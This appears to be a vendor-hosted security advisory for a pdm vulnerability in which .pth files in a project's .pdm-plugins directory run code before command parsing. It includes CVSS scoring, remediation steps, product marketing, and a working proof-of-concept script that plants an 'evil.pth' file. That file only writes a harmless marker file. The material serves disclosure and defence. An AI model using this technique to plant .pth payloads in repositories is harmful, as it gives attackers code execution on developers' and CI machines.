GHSA-qq6c-99pv-prvf
GHSA-qq6c-99pv-prvf is a Code Injection vulnerability in pdm. O3 Security confirms whether GHSA-qq6c-99pv-prvf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qq6c-99pv-prvf.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
pdmReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.
This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.
Affected Behavior
- Trigger does not require
pdm install --plugins - A low-impact command such as
pdm --versionis sufficient - Impact is strongest in CI, privileged shells, and automation contexts
Affected Code
src/pdm/core.py:74-82src/pdm/core.py:310-333src/pdm/core.py:335-352
Technical Details
Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().
On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.
Impact
- Arbitrary code execution as the invoking user
- Potential credential theft, persistence, or workspace tampering
- Potential privilege escalation when
pdmis run viasudo, root-owned CI jobs, or privileged service accounts
Reproduction
PoC:
# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF
purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig
base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
scheme = "posix_prefix"
elif sys.version_info < (3, 10):
scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)
mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"
(
cd "$tmpdir" &&
"$PDM_PY" -m pdm --version
)
cat "$marker"
Expected result:
- A temporary project is created
- An
evil.pthfile is placed under.pdm-plugins - Running
pdm --versioncreates a marker file before CLI exit
Observed output from local validation:
PDM, version 2.26.9
--- marker ---
project plugin autoload executed
Severity
High
CVSS v4.0
- Base score:
8.4(High) - Vector:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Rationale:
AV:L: exploitation occurs through local execution ofpdmagainst attacker-controlled repository contentAC:L: no special bypass or race is requiredAT:N: no external precondition beyond the vulnerable workflow is requiredPR:N: the attacker does not need privileges on the victim hostUI:A: the victim must actively run apdmcommand in the malicious checkoutVC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking userSC:N/SI:N/SA:N: the score is kept to same-system impact only
Root Cause
Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().
Recommended Remediation
- Do not auto-load project-local
.pdm-pluginsby default - Avoid
site.addsitedir()for project-controlled plugin paths - If project plugins must be supported, require explicit opt-in such as
--enable-project-plugins - Explicitly prevent
.pthexecution when loading project plugin paths
Disclosure Notes
This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pdm | all versions | 2.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pdm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pdm to 2.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qq6c-99pv-prvf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qq6c-99pv-prvf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qq6c-99pv-prvf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qq6c-99pv-prvf in your dependencies?
O3 detects GHSA-qq6c-99pv-prvf across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.